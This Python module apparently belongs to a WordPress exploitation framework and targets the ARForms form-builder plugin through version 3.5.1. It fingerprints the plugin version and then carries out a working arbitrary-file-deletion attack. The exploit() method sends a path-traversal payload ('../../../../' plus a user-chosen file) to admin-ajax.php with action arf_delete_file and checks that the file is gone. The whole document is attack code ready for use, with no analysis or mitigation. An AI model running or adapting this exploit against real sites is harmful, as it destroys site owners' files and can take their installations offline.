
import requests
import tempfile
import wpexploit
import requests
import sys
class Arforms(wpexploit.WPExploit):

    def __init__(self, domain, additional_data=None, proxies=None):
        self.domain = domain
        self.additional_data = additional_data
        self.proxies = proxies
        self.session = requests.Session()
        self.plugin_name = "WP Arforms"
        self.vuln_plugin_versions = ["1.1","1.1.1","1.2","1.2.1","1.2.2","2.0","2.0.1","2.0.2","2.0.3","2.0.4",
                                     "2.0.5","2.5","2.5.1","2.5.2","2.5.3","2.5.4","2.6","2.6.1","2.6.2",
                                     "2.6.3","2.7","2.7.1","2.7.2","2.7.3","2.7.4","2.7.5","2.7.6",
                                     "2.7.7","3.0","3.1","3.2","3.3","3.4","3.4.1","3.4.2","3.5","3.5.1"]


    def plugin_name(self):
        print("Plugin name: {}".format(self.plugin_name))
        return self.plugin_name

    def vulnerable_versions(self):
        print("Vulnerable versions: {}".format(self.vuln_plugin_versions))
        return self.vuln_plugin_versions

    def is_vulnerable_version(self, version_str):
        if version_str in self.vuln_plugin_versions :
            return True
        else:
            return False

    def get_references(self):
        references =dict()
        references['Description' ] ="https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-arforms-wordpress-form-builder-arbitrary-file-deletion-3-5-1/"
        references['Exploit' ] ="https://packetstormsecurity.com/files/149981/WordPress-Arforms-3.5.1-Arbitrary-File-Delete.html"
        return references

    def is_vulnerable(self, data=None, proxies=None):
        plugin_readme = self.session.get(
            self.domain +"wp-content/plugins/ARForms/documentation/index.html"
        ).text
        index_ver = plugin_readme.find("Version")
        plugin_version = plugin_readme[index_ver +9:index_ver +14]
        point_index =data.find(".")
        first_ver_num = data[:point_index]
        ver_num = float(first_ver_num)
        if ver_num >= 4.0:
            if plugin_version in self.vuln_plugin_versions:
                print("The domain is vulnerable!!!")
                return True
            else:
                print("The plugin version is not compatible")
                return False
        else:
            print("The wordpress version is not compatible")
            return False


    def exploit(self, data=None, proxies=None):
        headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "Accept": "*/*",
            "Accept-Language": "en-US,en;q=0.5",
            "Accept-Encoding": "gzip, deflate",
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
            "X-Requested-With": "XMLHttpRequest",
            "Connection": "close"
        }

        print("\n")

        file_to_delete=input("Please enter file to delete:")
        r = requests.get(self.domain + file_to_delete, headers=headers)
        if (r.status_code == 404):
            print("The specified file doesn't exist on the host")
            exit()

        url = self.domain + '/wp-admin/admin-ajax.php'

        payload = {
            "action": "arf_delete_file",
            "file_name": "../../../../" + file_to_delete
        }

        r = requests.post(url, data=payload, headers=headers)
        if (r.status_code != 200):
            print("The specified URL is not a wordpress installation or the plugin isn't installed")
        else:
            r = requests.get(self.domain + file_to_delete, headers=headers)
            if (r.status_code != 200):
                print("Operation completed")
            else:
                print("The target isn't vulnerable")








